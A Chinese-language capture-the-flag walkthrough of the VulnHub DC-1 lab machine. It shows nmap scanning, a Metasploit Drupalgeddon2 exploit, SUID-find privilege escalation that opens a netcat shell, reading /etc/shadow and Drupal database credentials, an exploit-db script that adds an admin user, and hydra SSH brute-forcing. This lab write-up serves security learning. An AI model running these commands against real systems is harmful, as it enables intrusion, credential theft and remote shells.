VulnHub測試靶場DC-1

**

IP:192.168.110.212

**

一.arp-scan -l查看同一區域中存活的主機.

知道了ip而後咱們訪問主頁爲下圖：

先信息蒐集使用nmap進行端口掃描發現掃描的端口以下：

22（ssh）  80(http) .   111(rpcbind)
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35108/tcp6  status
|   100024  1          37240/udp6  status
|   100024  1          37414/udp   status
|_  100024  1          51353/tcp   status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.83 seconds

版本：
內容管理系統（CMS）Drupal7
Web 服務器 Apache2.2.22
編程語言 PHP5.4.45
操做系統 Debian
JavaScript 庫 jQuery1.4.4

二.信息蒐集完以後我是先開始從https://www.exploit-db.com/?type=webapps這個根據他的版原本進行搜索的，可是最後沒有結果，最後從主頁下的手 ，從主頁看出他的cms是Drupal
以後在網上查的關於他的漏洞

三.直接使用msf進行查詢search drupal,由於有好多，我先利用的是時間較近的
unix/webapp/drupal_drupalgeddon2模塊

直接set設置ip使用run -j,以後直接拿到shell

輸入python -c 'import pty;pty.spawn("/bin/sh")'

四.查看他的系統uname -a發現是linux

Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686 GNU/Linux

以後提權我是在網上找的方式
如今使用suid進行提權先find查找
find / -user root -perm -4000 -print 2>/dev/null
發現Find命令也是以Suid權限運行的話，則將經過find執行的全部命令都會以root權限執行。

五.我先本身建立了一個文本文件而後輸入：find chen -exec whoami \;

find chen -exec netcat -lvp 5555 -e /bin/sh \;

六.另外一邊進行監聽

七.提權成功 我先在etc下面的shadow裏面找到的flag4:flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWC
繼續查看敏感文件/var/www下面找到了1 它提示：每個好的CMS都須要一個配置文件，你也同樣。

八.因此以後我在網上查了drupal 的配置文件在哪裏
/sites/default/settings.php
以後先find查詢的

cat /var/www/sites/default/settings.php 在這塊看到了他的用戶名和密碼

'username' => 'dbuser',
 'password' => 'R0ck3t',

既然知道了他的用戶和密碼就能夠進行鏈接

九.使用cat 查看他的配置文件裏的版本信息

cat /var/www/includes/bootstrap.inc | grep VERSION

獲得VERSION', '7.24
剛開始使用searchsploit Drupal都是一些python腳本

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.110.212 -u chen -p chen

十.從剛剛使用python腳本添加的用戶和密碼來進行登錄

十一.由於前面已經知道他的用戶名（在shadow裏面找的用戶名因此如今能夠直接拿九頭蛇爆破）

hydra -l flag4 -P pass.txt  ssh://192.168.110.212

十二.如今可知道他的 密碼爲orange
進行鏈接成功！！！！！

用戶名：flag4密碼：orange